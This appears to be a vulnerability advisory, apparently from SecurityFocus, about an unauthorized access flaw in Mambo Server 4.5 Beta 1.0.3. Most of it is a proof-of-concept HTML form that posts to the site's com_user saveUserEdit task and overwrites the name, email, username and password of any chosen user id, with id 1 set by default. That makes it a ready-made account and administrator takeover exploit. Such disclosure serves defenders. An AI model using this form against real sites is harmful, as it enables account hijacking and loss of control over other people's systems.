source: https://www.securityfocus.com/bid/9193/info It has been reported that Mambo Server may be prone to an unauthorized access vulnerability that may allow an attacker to modify a user and/or an administrator's information such as password, email, name etc, after supplying a legitimate user id. Mambo Server version 4.5 Beta 1.0.3 has been reported to be vulnerable to this issue, however other versions could be affected as well. <html> <head></head> <body> <form action="http://www.example.com/index.php" method="post"> New Name : <inputtype="text" name="name" value=""><br> New E-mail : <input type="text" name="email" value="" size="30"><br> New UserName : <input type="text" name="username" value=""><br> New Password : <input type="password" name="password" value=""><br> Verfiy New Pass : <input type="password" name="verifyPass"><br> ID : <input type="text" name="id" value="1"><br> <input type="hidden" name="option" value="com_user"> <input type="hidden" name="task" value="saveUserEdit"> <input type="submit" name="submit" value="Update"><br> </form> </body> </html>